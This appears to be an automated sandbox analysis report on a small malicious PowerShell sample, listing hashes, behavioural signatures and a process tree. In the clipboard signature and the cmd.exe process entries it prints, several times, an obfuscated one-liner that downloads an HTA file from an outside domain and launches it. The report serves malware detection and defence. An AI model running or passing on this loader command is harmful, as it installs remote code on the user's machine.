Analysis
- user interaction
yes - max time kernel
67s - max time network
49s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
16/09/2026, 10:50
Static task
static1
Behavioral task
behavioral1
Sample
comspeccf.ps1
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
11 signatures
300 seconds
General
- Target comspeccf.ps1
- Size 177B
- Sample260916-mxdbnsaf34
- SHA256 890efdcc45a782bf8a6002441d60869b3e23b70a96ade03a828848d191a766c5
- MD5 61a74da25bb3360bd6254e144ae2e517
- SHA1 130780ab71610dd93e2324fc701348e942aa8b01
- SHA512 3875cd5d75dfb95387db81890c18fe0747ec2ddedcc8e3166da985ffd41f5d07ac6c58fd08bdfab279ebd525dd46fb9d09384f6e21ff9b8761ef74cdf5c9f955
- TLSH T1A8C0804643ED81017A92C4B391D339427505137BD40FC1A504515D3B9AF9D777DA05DE
- MD5 SHA1 SHA512 TLSH
Score
7/10
Malware Config
Signatures
- Suspicious clipboard content. 1 IoCs
A suspicious script was copied to clipboard.
ioc Process %COMSPEC% /c start "" /min %COMSPEC% /c %COMSPEC% /v: on /c "(set a= cu&set b=rl&for %l in (%LocalAppData%\rhp.hta) do !a!!b! -sLko "%l" viaductandspinel.com/zv&start "" "%l")" notepad.exe -
pid Process 2648 PowerShell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 3 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 6116 cmd.exe 2692 cmd.exe 4596 cmd.exe - Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 taskmgr.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2648 PowerShell.exe 2648 PowerShell.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe - Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 2648 PowerShell.exe Token: SeDebugPrivilege 5752 taskmgr.exe Token: SeSystemProfilePrivilege 5752 taskmgr.exe Token: SeCreateGlobalPrivilege 5752 taskmgr.exe - Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe - Suspicious use of SendNotifyMessage 64 IoCs
pid Process 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe 5752 taskmgr.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 5752 taskmgr.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 6116 wrote to memory of 2692 6116 cmd.exe 97 PID 2692 wrote to memory of 4596 2692 cmd.exe 99
Processes
-
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\comspeccf.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2648
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:5752
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:1668
-
C:\Windows\system32\notepad.exe"C:\Windows\system32\notepad.exe"1⤵
- Suspicious clipboard content.
PID:2712
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c start "" /min C:\Windows\system32\cmd.exe /c C:\Windows\system32\cmd.exe /v: on /c "(set a= cu&set b=rl&for %l in (C:\Users\Admin\AppData\Local\rhp.hta) do !a!!b! -sLko "%l" viaductandspinel.com/zv&start "" "%l")"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6116 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Windows\system32\cmd.exe /v: on /c "(set a= cu&set b=rl&for %l in (C:\Users\Admin\AppData\Local\rhp.hta) do !a!!b! -sLko "%l" viaductandspinel.com/zv&start "" "%l")"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2692 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /v: on /c "(set a= cu&set b=rl&for %l in (C:\Users\Admin\AppData\Local\rhp.hta) do !a!!b! -sLko "%l" viaductandspinel.com/zv&start "" "%l")"3⤵
- Executes a command shell one-liner
PID:4596
-
-